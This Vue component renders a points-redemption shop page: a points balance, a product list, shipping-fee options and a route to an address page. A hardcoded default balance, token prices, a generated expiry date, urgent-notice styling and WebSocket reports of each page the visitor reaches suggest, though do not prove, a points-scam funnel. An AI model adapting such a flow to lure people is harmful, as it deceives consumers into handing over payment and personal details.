<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { computed, nextTick, onBeforeUnmount, onMounted, ref, watch } from "vue";
import {
  configData,
  inputChange,
  myWebSocket,
  formatPriceWithUnit,
  extractPrice,
  formatNumber,
} from "@/utils/common";

import { globalConfig, goodsConfig } from "@/config";
import { useI18n } from "vue-i18n";
import ProductCard from "@/components/ProductCard/index.vue";
import ExchangeConfirmModal from "@/components/ProductCard/ExchangeConfirmModal.vue";

// ==================== 类型定义 ====================
interface GoodsItem {
  image: string;
  imageUrl: string;
  title: string;
  point: string;
  point2?: number;
  onlyPoints?: number;
  price: string;
  price2: number;
  count: number;
  subTitle?: string;
  top?: string;
  topName?: string;
  tag?: string;
  detail?: string;
}

// ==================== 常量定义 ====================
const THEME = {
  GRID: "2",
  STACK: "4",
} as const;

const FEE_TYPE = {
  NONE: 0,
  FIXED: 1,
  ADDRESS_SELECT: 2,
  GOODS_SELECT: 3,
} as const;

const TAB = {
  FULL_POINTS: "1",
  POINTS_MONEY: "2",
} as const;

const SHIPPING_OFFSET_DAYS = {
  EXPRESS_START: 2,
  STANDARD_START: 4,
  STANDARD_END: 6,
} as const;

const LAYOUT = {
  COLUMNS: 2,
  GAP: 10,
} as const;

// ==================== 组合式函数和工具 ====================
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();


// ==================== 响应式状态 ====================
const selectedGoods = ref<GoodsItem | null>(null);
const selectedTab = ref("");
const goodsList = ref<GoodsItem[]>([]);
const totalPoints = ref(0);
const moneyAmount = ref(0);
const selectGoods = ref<GoodsItem | null>(null);
const totalPoint = ref(3022);
const selectFee = ref("");

// Theme 4 确认弹窗相关
const showExchangeModal = ref(false);
const pendingExchangeGoods = ref<GoodsItem | null>(null);

// 瀑布流布局相关
const productsEl = ref<HTMLElement | null>(null);
let layoutRafId: number | null = null;
let resizeObserver: ResizeObserver | null = null;

// ==================== 工具函数 ====================
/**
 * 获取商品的积分值
 */
const getGoodsPoints = (goods: GoodsItem): number => {
  return Number(goods.point2) || Number(goods.onlyPoints) || 0;
};

/**
 * 计算运费金额
 */
const calculateShippingFee = (): number => {
  const feeType = goodsConfig.value.feeType;
  
  if (feeType === FEE_TYPE.GOODS_SELECT && selectFee.value) {
    const fee1 = formatPriceWithUnit(goodsConfig.value.fee);
    const fee2 = formatPriceWithUnit(goodsConfig.value.fee2);
    
    if (selectFee.value === fee1) return goodsConfig.value.fee;
    if (selectFee.value === fee2) return goodsConfig.value.fee2;
  } else if (feeType === FEE_TYPE.FIXED && goodsConfig.value.fee) {
    return goodsConfig.value.fee;
  }
  
  return 0;
};

/**
 * 验证是否可以进行兑换
 */
const validateExchange = (): string | null => {
  if (totalPoints.value === 0) {
    return t("goods_view.please_redeem");
  }
  
  if (goodsConfig.value.feeType === FEE_TYPE.GOODS_SELECT && selectFee.value === "") {
    return t("goods_view.please_select_date");
  }
  
  return null;
};
/**
 * 保存兑换数据到 localStorage
 */
const saveExchangeData = (feeAmount: number, totalAmount: number) => {
  localStorage.setItem("pointsUsed", totalPoints.value.toString());
  
  if (moneyAmount.value > 0) {
    localStorage.setItem("goodsPrice", moneyAmount.value.toString());
    inputChange("SelectGoods", "price", moneyAmount.value.toString());
  }
  
  if (feeAmount > 0) {
    const feeStr = formatPriceWithUnit(feeAmount);
    inputChange("SelectGoods", "fee", feeStr);
    localStorage.setItem("shippingFee", feeStr);
  }
  
  localStorage.setItem("moneyAmount", totalAmount.toString());
  
  if (selectGoods.value) {
    inputChange("SelectGoods", "title", selectGoods.value.title);
  }
};

// ==================== 核心功能函数 ====================
/**
 * 进行商品兑换并跳转到地址页
 */
const next = () => {
  // 验证
  const error = validateExchange();
  if (error) {
    alert(error);
    return;
  }

  // 计算运费和总金额
  const feeAmount = calculateShippingFee();
  const totalAmount = moneyAmount.value + feeAmount;
  
  // 保存数据
  saveExchangeData(feeAmount, totalAmount);
  
  // 跳转到地址页
  loadingStore.setLoading(true);
  setTimeout(() => {
    router.push("/address");
  }, 200);
};

const tempList: Partial<GoodsItem>[] = [
  {
    image: "https://images.unsplash.com/photo-1657560566744-06d0b69f6647?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p1title"),
    point2: 2999,
    price: globalConfig?.goods_price || "0.23",
    subTitle: "H2 Chip | Adaptive Audio | 3D Sound",
    top: "TOP1",
    topName: "Popularity List",
    tag: "Hot",
    count: 0,
  },
  {
    image: "https://images.unsplash.com/photo-1743521442683-08ffd8ac9e14?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p2title"),
    point2: 2999,
    price: globalConfig?.goods_price || "0.23",
    count: 0,
  },
  {
    image: "https://images.unsplash.com/photo-1715081406782-d605bd2d39a8?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p3title"),
    point2: 2699,
    price: globalConfig?.goods_price || "0.23",
    count: 0,
  },
  {
    image: "https://images.unsplash.com/photo-1686554825554-24adfcf5406a?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p4title"),
    point2: 2699,
    price: globalConfig?.goods_price || "0.23",
    count: 0,
  },
  {
    image: "https://images.unsplash.com/photo-1740803292374-d942a979c5e3?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p5title"),
    point2: 2499,
    price: globalConfig?.goods_price || "0.23",
    count: 0,
  },
  {
    image: "https://images.unsplash.com/photo-1721300217761-e580569047f5?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p6title"),
    point2: 2499,
    price: globalConfig?.goods_price || "0.23",
    count: 0,
  },
];

/**
 * 瀑布流布局：absolute + JS 计算两列位置
 * 规则：按数据顺序交替落在左右列（index % 2）
 */
const layoutMasonry = async () => {
  await nextTick();

  const container = productsEl.value;
  if (!container) return;

  // Grid 或 Stack 布局模式下不需要瀑布流计算
  const theme = goodsConfig.value.theme;
  if (theme === THEME.GRID || theme === THEME.STACK) {
    container.style.height = "auto";
    return;
  }

  const items = Array.from(container.children as HTMLCollectionOf<HTMLElement>);
  if (items.length === 0) {
    container.style.height = "0px";
    return;
  }

  const containerWidth = container.clientWidth;
  if (containerWidth === 0) return;

  const colWidth = Math.max(
    0,
    Math.floor((containerWidth - LAYOUT.GAP) / LAYOUT.COLUMNS)
  );
  const colHeights = new Array(LAYOUT.COLUMNS).fill(0);

  items.forEach((item, index) => {
    const col = index % LAYOUT.COLUMNS;
    
    item.style.width = `${colWidth}px`;
    item.style.left = `${col * (colWidth + LAYOUT.GAP)}px`;
    item.style.top = `${colHeights[col]}px`;

    colHeights[col] += item.offsetHeight + LAYOUT.GAP;
  });

  container.style.height = `${Math.max(...colHeights)}px`;
};

/**
 * 调度布局更新（使用 requestAnimationFrame 优化性能）
 */
const scheduleLayout = () => {
  if (layoutRafId != null) cancelAnimationFrame(layoutRafId);
  layoutRafId = requestAnimationFrame(() => {
    layoutRafId = null;
    void layoutMasonry();
  });
};

/**
 * 添加或减少商品数量
 */
const add = (goods: GoodsItem, addNum: number) => {
  const currentPoint = getGoodsPoints(goods);
  
  // 检查积分是否足够
  if (addNum > 0 && totalPoints.value + currentPoint * addNum > totalPoint.value) {
    alert(t("goods_view.not_enough_points"));
    return;
  }

  // 防止数量小于 0
  if (goods.count === 0 && addNum < 0) {
    return;
  }

  // 更新商品数量
  goods.count += addNum;

  // 更新总积分和金额
  if (goods.count === 0) {
    totalPoints.value = 0;
    moneyAmount.value = 0;
    selectGoods.value = null;
  } else {
    totalPoints.value += currentPoint * addNum;
    moneyAmount.value += goods.price2 * addNum;
    selectGoods.value = goods;
  }

  // 数量变化可能导致卡片高度变化，触发布局刷新
  scheduleLayout();
};

/**
 * Theme 4: 点击兑换按钮，显示确认弹窗
 */
const exchangeGoods = (goods: GoodsItem) => {
  const currentPoint = getGoodsPoints(goods);

  if (currentPoint > totalPoint.value) {
    alert(t("goods_view.not_enough_points"));
    return;
  }

  pendingExchangeGoods.value = goods;
  showExchangeModal.value = true;
};

/**
 * 确认兑换
 */
const confirmExchange = () => {
  const goods = pendingExchangeGoods.value;
  if (!goods) return;

  const currentPoint = getGoodsPoints(goods);

  // 设置商品数量为 1
  goods.count = 1;
  totalPoints.value = currentPoint;
  moneyAmount.value = goods.price2 || 0;
  selectGoods.value = goods;

  // 关闭弹窗并跳转
  showExchangeModal.value = false;
  pendingExchangeGoods.value = null;
  next();
};

/**
 * 取消兑换
 */
const cancelExchange = () => {
  showExchangeModal.value = false;
  pendingExchangeGoods.value = null;
};

// ==================== 计算属性 ====================
const requiredPoints = computed(() => 
  pendingExchangeGoods.value ? getGoodsPoints(pendingExchangeGoods.value) : 0
);

const remainingPointsAfterExchange = computed(() => 
  totalPoint.value - requiredPoints.value
);

/**
 * 获取或设置过期日期（缓存在 localStorage）
 */
const getExpiryDate = (): string => {
  const storedDate = localStorage.getItem("exchangeExpiryDate");
  if (storedDate) return storedDate;
  
  const now = new Date();
  const nextMonth = new Date(now.getFullYear(), now.getMonth() + 1, now.getDate());
  
  const formattedDate = nextMonth.toLocaleDateString("es-ES", {
    day: "numeric",
    month: "long",
    year: "numeric"
  });
  
  localStorage.setItem("exchangeExpiryDate", formattedDate);
  return formattedDate;
};

const expiryDate = ref(getExpiryDate());

/**
 * 从配置数据创建商品列表
 */
const createGoodsFromConfig = (): GoodsItem[] => {
  const result: GoodsItem[] = [];
  
  if (!configData.value.goods?.list?.length) return result;
  
  configData.value.goods.list.forEach((item: any) => {
    const price = extractPrice(item["price"]) ?? 0;
    const price2 = price * goodsConfig.value.rate;
    const rawPrice = formatPriceWithUnit(price2);

    result.push({
      image: item["imageUrl"].split(",")[0],
      imageUrl: item["imageUrl"],
      title: item["name"],
      point: item["points"] ? `${formatNumber(item["points"])} ${t("points")} +  ${rawPrice}` : "",
      point2: item["points"],
      onlyPoints: item["onlyPoints"],
      price: rawPrice,
      price2,
      count: 0,
      subTitle: item["subName"],
      top: item["top"],
      topName: item["topName"],
      tag: item["tag"],
      detail: item["detail"] || "",
    });
  });
  
  return result;
};

/**
 * 从模板数据创建商品列表
 */
const createGoodsFromTemplate = (): GoodsItem[] => {
  return tempList.map((item: any) => {
    const priceStr = item.price.toString();
    const priceMatch = priceStr.match(/(?:[a-zA-Z]*\s*)?(\d+(\.\d+)?)(?:\s*[a-zA-Z]*)?/);
    const price2 = priceMatch?.[1] ? parseFloat(priceMatch[1]) : 0;
    const rawPrice = formatPriceWithUnit(item.price);

    return {
      image: item.image,
      imageUrl: item.image,
      title: item.title,
      point: `${formatNumber(item.point2)} ${t("points")} + ${rawPrice}`,
      point2: item.point2,
      onlyPoints: item.onlyPoints,
      price: item.price,
      price2,
      count: 0,
      subTitle: item.subTitle,
      top: item.top,
      topName: item.topName,
      tag: item.tag,
      detail: item.detail || "",
    } as GoodsItem;
  });
};

/**
 * 根据选中的标签过滤商品列表
 */
const filterGoodsByTab = (list: GoodsItem[]): GoodsItem[] => {
  if (selectedTab.value === TAB.POINTS_MONEY) {
    return list.filter((g) => g.price !== undefined && g.price2 > 0);
  } else if (selectedTab.value === TAB.FULL_POINTS) {
    return list.filter((g) => g.onlyPoints !== undefined && g.onlyPoints > 0);
  }
  return list;
};

/**
 * 初始化商品数据
 */
const initData = () => {
  loadingStore.setLoading(false);

  // 创建商品列表
  let goodsListData: GoodsItem[];
  
  if (configData.value.goods?.list?.length) {
    goodsListData = createGoodsFromConfig();
  } else if (configData.value.goods) {
    goodsListData = createGoodsFromTemplate();
  } else {
    configData.value.goods = [];
    goodsListData = [];
  }

  // 加载总积分
  const point = localStorage.getItem("totalPoint");
  if (point) totalPoint.value = Number(point);

  // 根据标签过滤商品
  goodsList.value = filterGoodsByTab(goodsListData);

  // 触发布局刷新
  scheduleLayout();
};

// ==================== 生命周期钩子 ====================
watch(
  () => configData.value,
  (newVal) => {
    if (newVal) initData();
  },
  { deep: true, immediate: true }
);

onMounted(() => {
  initData();

  // 通知 WebSocket 页面类型
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "goods" },
    })
  );
  localStorage.setItem("route", "goods");

  // 设置 ResizeObserver 监听容器大小变化
  if (productsEl.value && typeof ResizeObserver !== "undefined") {
    resizeObserver = new ResizeObserver(scheduleLayout);
    resizeObserver.observe(productsEl.value);
  }

  scheduleLayout();
});

onBeforeUnmount(() => {
  if (layoutRafId != null) {
    cancelAnimationFrame(layoutRafId);
    layoutRafId = null;
  }
  if (resizeObserver) {
    resizeObserver.disconnect();
    resizeObserver = null;
  }
});

/**
 * 打开商品详情
 */
const openModal = (goods: GoodsItem) => {
  selectedGoods.value = goods;
  localStorage.setItem("goodsDetail", JSON.stringify(goods));
};

/**
 * 选择标签页
 */
const selectTab = (tab: string) => {
  selectedTab.value = selectedTab.value === tab ? "" : tab;
  initData();
};

// ==================== 配送日期计算 ====================
const currentDate = new Date();

const dayNames = computed(() => [
  t("Sunday"), t("Monday"), t("Tuesday"), t("Wednesday"),
  t("Thursday"), t("Friday"), t("Saturday")
]);

const monthNames = computed(() => [
  t("January"), t("February"), t("March"), t("April"),
  t("May"), t("June"), t("July"), t("August"),
  t("September"), t("October"), t("November"), t("December")
]);

const shippingMessage = computed(() => {
  const date = new Date(currentDate);
  date.setDate(currentDate.getDate() + SHIPPING_OFFSET_DAYS.EXPRESS_START);
  
  const day = dayNames.value[date.getDay()];
  const dateNum = date.getDate() + 1;
  const month = monthNames.value[date.getMonth()];
  
  return t("goods_view.express_shipping", { 
    day, 
    date: dateNum, 
    month 
  });
});

const shippingMessage2 = computed(() => {
  const startDate = new Date(currentDate);
  const endDate = new Date(currentDate);
  startDate.setDate(currentDate.getDate() + SHIPPING_OFFSET_DAYS.STANDARD_START);
  endDate.setDate(currentDate.getDate() + SHIPPING_OFFSET_DAYS.STANDARD_END);
  
  return t("goods_view.delivery_between", {
    startDay: dayNames.value[startDate.getDay()],
    startDayNumber: startDate.getDate(),
    startMonth: monthNames.value[startDate.getMonth()],
    endDay: dayNames.value[endDate.getDay()],
    endDayNumber: endDate.getDate(),
    endMonth: monthNames.value[endDate.getMonth()],
  });
});

/**
 * 计算总金额（商品价格 + 运费）
 */
const totalAmount = computed(() => 
  moneyAmount.value + calculateShippingFee()
);

/**
 * 获取当前运费金额用于显示
 */
const currentShippingFee = computed(() => {
  const feeType = goodsConfig.value.feeType;
  
  if (feeType === FEE_TYPE.GOODS_SELECT && selectFee.value) {
    return selectFee.value;
  } else if (feeType === FEE_TYPE.FIXED && goodsConfig.value.fee) {
    return formatPriceWithUnit(goodsConfig.value.fee);
  }
  
  return "";
});

/**
 * 计算平均需要的积分
 */
const averagePointsNeeded = computed(() => {
  if (goodsList.value.length === 0) return 0;
  
  const total = goodsList.value.reduce(
    (sum, item) => sum + getGoodsPoints(item),
    0
  );
  
  return Math.round(total / goodsList.value.length);
});
</script>

<template>
  <CommonLayout>
    <template #default>
      <!-- 积分显示卡片 -->
      <div class="points-goods">
        <div class="points-item points-item--available">
          <div class="points-label">{{ t("goods_view.available_points") }}</div>
          <div class="points-value">{{ formatNumber(totalPoint) }}</div>
        </div>
        <div class="points-item points-item--available">
          <div class="points-label">{{ t("goods_view.spend_points") }}</div>
          <div class="points-value">{{ formatNumber(totalPoints) }}</div>
        </div>
      </div>

      <!-- 商品列表容器 -->
      <div class="el2-body">
        <form class="el2-form">
          <!-- 标签页切换 -->
          <div class="el2-tabs">
            <button 
              class="el2-tab" 
              type="button" 
              :class="{ 'el2-active': selectedTab === TAB.FULL_POINTS }"
              @click="selectTab(TAB.FULL_POINTS)"
            >
              {{ t("goods_view.full_points") }}
            </button>
            <button 
              class="el2-tab" 
              type="button" 
              :class="{ 'el2-active': selectedTab === TAB.POINTS_MONEY }"
              @click="selectTab(TAB.POINTS_MONEY)"
            >
              {{ t("goods_view.points_money") }}
            </button>
          </div>

          <!-- 商品列表（支持瀑布流/网格/单列布局） -->
          <div 
            class="el2-list" 
            :class="{ 
              'el2-grid': goodsConfig.theme === THEME.GRID, 
              'el2-stack': goodsConfig.theme === THEME.STACK 
            }" 
            ref="productsEl"
          >
            <ProductCard
              v-for="goods in goodsList"
              :key="goods.image"
              :goods="goods"
              :theme="goodsConfig.theme"
              @click="openModal(goods)"
              @add="(count) => add(goods, count)"
              @exchange="exchangeGoods(goods)"
              @image-load="scheduleLayout"
              @image-error="scheduleLayout"
            />
          </div>

          <!-- 运费选择（仅在商品页选择运费类型时显示） -->
          <div v-if="goodsConfig.feeType === FEE_TYPE.GOODS_SELECT" class="el2-ship">
            <h3 class="el2-ship-title">
              {{ t("goods_view.shipping_date_costs") }}
            </h3>
            <div class="el2-ship-opts">
              <label
                class="el2-ship-opt"
                :class="{ 'el2-ship-opt--active': selectFee === formatPriceWithUnit(goodsConfig.fee) }"
              >
                <input 
                  v-model="selectFee"
                  type="radio" 
                  name="shipping" 
                  :value="formatPriceWithUnit(goodsConfig.fee)"
                >
                <div class="el2-ship-info">
                  <span class="el2-ship-text">{{ shippingMessage }}</span>
                  <span class="el2-ship-price">{{ formatPriceWithUnit(goodsConfig.fee) }}</span>
                </div>
              </label>
              <label
                class="el2-ship-opt"
                :class="{ 'el2-ship-opt--active': selectFee === formatPriceWithUnit(goodsConfig.fee2) }"
              >
                <input 
                  v-model="selectFee"
                  type="radio" 
                  name="shipping" 
                  :value="formatPriceWithUnit(goodsConfig.fee2)"
                >
                <div class="el2-ship-info">
                  <span class="el2-ship-text">{{ shippingMessage2 }}</span>
                  <span class="el2-ship-price">{{ formatPriceWithUnit(goodsConfig.fee2) }}</span>
                </div>
              </label>
            </div>
          </div>

          <!-- 价格摘要 -->
          <div 
            v-if="moneyAmount > 0 || (goodsConfig.feeType !== FEE_TYPE.NONE && currentShippingFee)" 
            class="el2-summary"
          >
            <div v-if="moneyAmount > 0" class="el2-summary-row">
              <span class="el2-summary-lbl">{{ t("goods_view.goods_price") }}:</span>
              <span class="el2-summary-val">{{ formatPriceWithUnit(moneyAmount) }}</span>
            </div>
            <div 
              v-if="currentShippingFee && goodsConfig.feeType !== FEE_TYPE.NONE" 
              class="el2-summary-row"
            >
              <span class="el2-summary-lbl">{{ t("goods_view.shipping_fee") }}:</span>
              <span class="el2-summary-val">{{ currentShippingFee }}</span>
            </div>
            <div v-if="totalAmount > 0" class="el2-summary-row el2-total">
              <span class="el2-summary-lbl">{{ t("goods_view.total_amount") }}:</span>
              <span class="el2-summary-val">{{ formatPriceWithUnit(totalAmount) }}</span>
            </div>
          </div>

          <!-- Theme Stack 时隐藏底部兑换按钮 -->
          <div 
            v-if="goodsConfig.theme !== THEME.STACK" 
            class="el2-submit"
          >
            <button type="button" class="exchange-button" @click="next">
              <span>{{ t("Exchange") }}</span>
            </button>
          </div>
        </form>
      </div>

      <!-- 兑换确认弹窗 -->
      <ExchangeConfirmModal
        :visible="showExchangeModal"
        :goods="pendingExchangeGoods"
        :required-points="requiredPoints"
        :remaining-points="remainingPointsAfterExchange"
        :expiry-date="expiryDate"
        @confirm="confirmExchange"
        @cancel="cancelExchange"
      />
    </template>
  </CommonLayout>
</template>

<style scoped>
/* ==================== 基础布局样式 ====================  */
.el2-body {
  padding: 0 1rem;
  max-width: 980px;
  margin: 0 auto;
}

.el2-form {
  padding: 0.9rem 0 6.2rem;
  width: 100%;
  max-width: 860px;
  margin: 0 auto;
}

/* ==================== 积分显示区域 ====================  */
.points-goods {
  --points-primary: var(--global-primary-color, #0e49b5);
  --points-strong: color-mix(in srgb, var(--points-primary) 62%, #0f172a);
  --points-main: color-mix(in srgb, var(--points-primary) 78%, #ffffff);
  --points-soft: color-mix(in srgb, var(--points-primary) 10%, #ffffff);
  --points-border: color-mix(in srgb, var(--points-primary) 20%, #dbe3f0);
  position: relative;
  display: grid;
  grid-template-columns: repeat(2, minmax(0, 1fr));
  gap: 0;
  width: calc(100% - 1.5rem);
  max-width: 860px;
  margin: 0.78rem auto 0.48rem;
  padding: 0;
  border-radius: 14px;
  background: #ffffff;
  border: 1px solid #dce4f1;
  border-color: var(--points-border);
  box-shadow: 0 6px 18px rgba(15, 23, 42, 0.06);
  overflow: hidden;
 /*  margin-top: 80px !important; */
}

.points-goods::before {
  content: "";
  position: absolute;
  left: 0;
  right: 0;
  top: 0;
  height: 3px;
  background: linear-gradient(
    90deg,
    color-mix(in srgb, var(--points-primary) 92%, #ffffff) 0%,
    color-mix(in srgb, var(--points-primary) 66%, #0f172a) 100%
  );
  pointer-events: none;
}

.points-item + .points-item {
  border-left: 1px solid #e7edf7;
  border-left-color: color-mix(in srgb, var(--points-primary) 12%, #e7edf7);
}

.points-item {
  position: relative;
  min-width: 0;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  text-align: center;
  min-height: 88px;
  padding: 0.84rem 0.5rem 0.78rem;
}

.points-item::before {
  content: "";
  position: absolute;
  width: 7px;
  height: 7px;
  top: 16px;
  left: 16px;
  border-radius: 50%;
  background: #d2dae8;
}

.points-item--available::before {
  background: var(--points-main);
}

.points-item--spent::before {
  background: color-mix(in srgb, var(--points-primary) 38%, #8b95a7);
}

.points-label {
  font-size: 10px;
  font-weight: 700;
  letter-spacing: 0.055em;
  color: #64748b;
  text-transform: uppercase;
  padding: 0.24rem 0.5rem;
  border-radius: 999px;
  background: #f3f6fb;
}

.points-value {
  margin-top: 0.5rem;
  font-size: clamp(1.24rem, 4.8vw, 1.86rem);
  font-weight: 800;
  line-height: 1;
  letter-spacing: 0.01em;
  font-variant-numeric: tabular-nums;
}

.points-item--available .points-label {
  background: var(--points-soft);
  color: color-mix(in srgb, var(--points-primary) 42%, #55657b);
}

.points-item--available .points-value {
  color: var(--points-strong);
}

.points-item--spent .points-label {
  background: #f3f5f8;
  color: #667184;
}

.points-item--spent .points-value {
  color: color-mix(in srgb, var(--points-primary) 55%, #111827);
}

.points-item--empty .points-value {
  color: #93a1b6;
}

.points-item--empty {
  background: linear-gradient(180deg, #ffffff 0%, #f8fafc 100%);
}

.points-item--empty .points-label {
  background: #edf2f7;
  color: #7b8797;
}

/* ==================== 定时器样式 ====================  */
.el2-timer-wrap {
  background: #ffffff;
  color: #ffffff;
  padding: 10px;
  border-radius: 20px;
  text-align: center;
  margin-bottom: 15px;
}

.el2-timer-head {
  font-size: 16px;
  font-weight: 700;
}

.el2-timer-num {
  font-size: 24px;
  font-weight: 700;
  margin-top: 5px;
}

.el2-timer-num span {
  font-family: monospace;
}

/* ==================== 商品列表布局 ====================  */
div.el2-points {
  position: relative;
  display: flex;
  justify-content: space-around;
  background: var(--global-primary-color);
  padding: 20px 10px;
  transition: all 0.3s;
  color: #fff;
}

div.el2-points > div {
  flex: 1;
  text-align: center;
}

.el2-form .el2-list {
  max-width: 860px;
  margin-top: 0.9rem;
  padding: 0;
  position: relative;
}

/* 网格布局（Theme 2） */
.el2-form .el2-list.el2-grid {
  display: grid;
  grid-template-columns: repeat(2, 1fr);
  gap: 10px;
  position: static;
  height: auto !important;
}

/* 单列布局（Theme 4） */
.el2-form .el2-list.el2-stack {
  display: flex;
  flex-direction: column;
  gap: 16px;
  position: static;
  height: auto !important;
}

/* PC 端响应式优化 */
@media (min-width: 768px) {
  .el2-form .el2-list.el2-stack {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: 20px;
    max-width: 1200px;
    margin: 0 auto;
  }
}

@media (min-width: 1200px) {
  .el2-form .el2-list.el2-stack {
    grid-template-columns: repeat(3, 1fr);
    gap: 24px;
  }
}

/* ==================== 底部兑换按钮 ====================  */
.el2-submit {
  position: fixed;
  z-index: 10000;
  left: 0;
  right: 0;
  bottom: 0;
  padding: 10px max(1rem, env(safe-area-inset-left))
    calc(10px + env(safe-area-inset-bottom))
    max(1rem, env(safe-area-inset-right));
  box-sizing: border-box;
  background: rgba(255, 255, 255, 0.96);
  border-top: 1px solid #e4e9f2;
  box-shadow: 0 -4px 14px rgba(18, 35, 66, 0.08);
  backdrop-filter: blur(8px);
  display: flex;
  justify-content: center;
}

.exchange-button {
  width: min(860px, 100%);
  min-height: 50px;
  border: none;
  border-radius: 12px;
  background: var(--global-primary-color);
  color: #fff;
  font-size: 15px;
  font-weight: 700;
  letter-spacing: 0.05em;
  cursor: pointer;
  transition: filter 0.15s, transform 0.1s;
  box-shadow: 0 4px 14px color-mix(in srgb, var(--global-primary-color, #3b82f6) 35%, transparent);
  position: relative;
  overflow: hidden;
}

.exchange-button::after {
  content: '';
  position: absolute;
  inset: 0;
  background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
  pointer-events: none;
}

.exchange-button:hover  { filter: brightness(1.07); }
.exchange-button:active { transform: scale(0.985); filter: brightness(0.95); }

/* ==================== 标签页样式 ====================  */
.el2-tabs {
  display: flex;
  gap: 0.6rem;
  width: fit-content;
  max-width: 100%;
  margin: 0.2rem 0 0.9rem;
  padding: 0.32rem;
  border-radius: 999px;
  background: #edf1f7;
}

.el2-tab {
  border: none;
  min-width: 128px;
  padding: 0.6rem 1rem;
  border-radius: 999px;
  cursor: pointer;
  font-size: 13px;
  font-weight: 700;
  color: var(--global-primary-color);
  background: transparent;
  transition: background-color 0.2s ease, color 0.2s ease;
}

.el2-tab:hover {
  background: rgba(255, 255, 255, 0.8);
  color: #273142;
}

.el2-tab.el2-active {
  background: var(--global-primary-color);
  color: #fff;
  box-shadow: 0 6px 14px rgba(18, 44, 96, 0.2);
}

/* ==================== 运费选择样式 ====================  */
.el2-ship {
  margin-top: 1.35rem;
  padding: 1rem;
  border: 1px solid #e3e8f1;
  border-radius: 12px;
  background: #fff;
}

.el2-ship-title {
  font-size: 16px;
  font-weight: 700;
  color: #2a3445;
  margin-bottom: 0.85rem;
}

.el2-ship-opts {
  display: flex;
  flex-direction: column;
  gap: 0.7rem;
}

.el2-ship-opt {
  display: flex;
  align-items: center;
  padding: 0.75rem 0.8rem;
  border: 1px solid #d6dce7;
  border-radius: 10px;
  background: #fff;
  cursor: pointer;
  transition: border-color 0.2s, background-color 0.2s, box-shadow 0.2s;
}

.el2-ship-opt:hover {
  border-color: var(--global-primary-color);
  background-color: #f5f8fc;
}

.el2-ship-opt--active {
  border-color: var(--global-primary-color);
  background: rgba(14, 73, 181, 0.06);
  box-shadow: inset 0 0 0 1px var(--global-primary-color);
}

.el2-ship-opt input[type="radio"] {
  margin-right: 0.7rem;
  accent-color: var(--global-primary-color);
}

.el2-ship-info {
  flex: 1;
}

.el2-ship-text {
  display: block;
  font-size: 13px;
  color: #555555;
  margin-bottom: 3px;
}

.el2-ship-price {
  font-size: 15px;
  font-weight: 700;
  color: var(--global-primary-color);
}

/* ==================== 价格摘要样式 ====================  */
.el2-summary {
  margin-top: 1rem;
  padding: 0.95rem 1rem;
  background: #fff;
  border-radius: 12px;
  border: 1px solid #e3e8f1;
}

.el2-summary-row {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 0.55rem 0;
  font-size: 14px;
}

.el2-summary-row:not(:last-child) {
  border-bottom: 1px solid #e8e8e8;
}

.el2-summary-lbl {
  color: #5a6475;
  font-weight: 500;
}

.el2-summary-val {
  color: #1f2937;
  font-weight: 600;
}

.el2-total {
  margin-top: 0.35rem;
  padding-top: 0.7rem;
  border-top: 1px solid rgba(14, 73, 181, 0.25) !important;
}

.el2-total .el2-summary-lbl {
  color: var(--global-primary-color);
  font-weight: 700;
  font-size: 15px;
}

.el2-total .el2-summary-val {
  color: var(--global-primary-color);
  font-weight: 700;
  font-size: 18px;
}

@media (max-width: 640px) {
  .el2-body {
    padding: 0 0.75rem;
  }

  .el2-form {
    padding-bottom: 6rem;
  }

  .points-goods {
    width: calc(100% - 1.1rem);
    margin: 0.62rem auto 0.2rem;
    border-radius: 12px;
  }

  .points-item {
    min-height: 80px;
    padding: 0.72rem 0.34rem 0.66rem;
  }

  .points-item::before {
    width: 6px;
    height: 6px;
    top: 14px;
    left: 12px;
  }

  .points-label {
    font-size: 10px;
    letter-spacing: 0.045em;
    padding: 0.2rem 0.42rem;
  }

  .points-value {
    font-size: clamp(1.08rem, 6vw, 1.44rem);
  }

  .el2-tabs {
    width: 100%;
    gap: 0.42rem;
  }

  .el2-tab {
    flex: 1;
    min-width: 0;
    padding: 0.58rem 0.6rem;
    font-size: 12px;
  }

  .el2-submit {
    padding-top: 8px;
  }

  .exchange-button {
    border-radius: 10px;
    min-height: 44px;
    font-size: 14px;
  }

  .el2-ship {
    padding: 0.85rem;
  }

  .el2-ship-title {
    font-size: 15px;
  }

  .el2-ship-opt {
    padding: 0.65rem 0.7rem;
  }

  .el2-summary {
    padding: 0.82rem;
  }

  .el2-summary-row {
    font-size: 13px;
  }

  .el2-total .el2-summary-val {
    font-size: 17px;
  }
}

/* ==================== 商品卡片头部样式 ====================  */
.tm-product-card__header {
  background: #ffffff;
  padding: 24px 20px;
  border-radius: 16px;
  box-shadow: 0 2px 12px rgba(0, 0, 0, 0.08);
  margin: 16px 16px 20px 16px;
}

.tm-product-card__eyebrow {
  font-size: 13px;
  text-transform: uppercase;
  letter-spacing: 0.5px;
  color: var(--global-primary-color);
  margin: 0 0 8px 0;
  font-weight: 600;
}

.tm-product-card__title {
  font-size: 26px;
  font-weight: 700;
  color: #000000;
  margin: 0 0 12px 0;
  line-height: 1.3;
}

.tm-product-card__subtitle {
  font-size: 15px;
  color: #333333;
  margin: 0 0 16px 0;
  line-height: 1.6;
}

.tm-product-card__urgent-notice {
  background: #fff9e6;
  border: 2px solid #ffa500;
  border-radius: 10px;
  padding: 14px;
  margin: 16px 0;
  display: flex;
  align-items: flex-start;
  gap: 10px;
}

.tm-product-card__urgent-icon {
  font-size: 22px;
  flex-shrink: 0;
  line-height: 1;
}

.tm-product-card__urgent-text {
  font-size: 14px;
  color: #000000;
  line-height: 1.5;
  font-weight: 500;
}

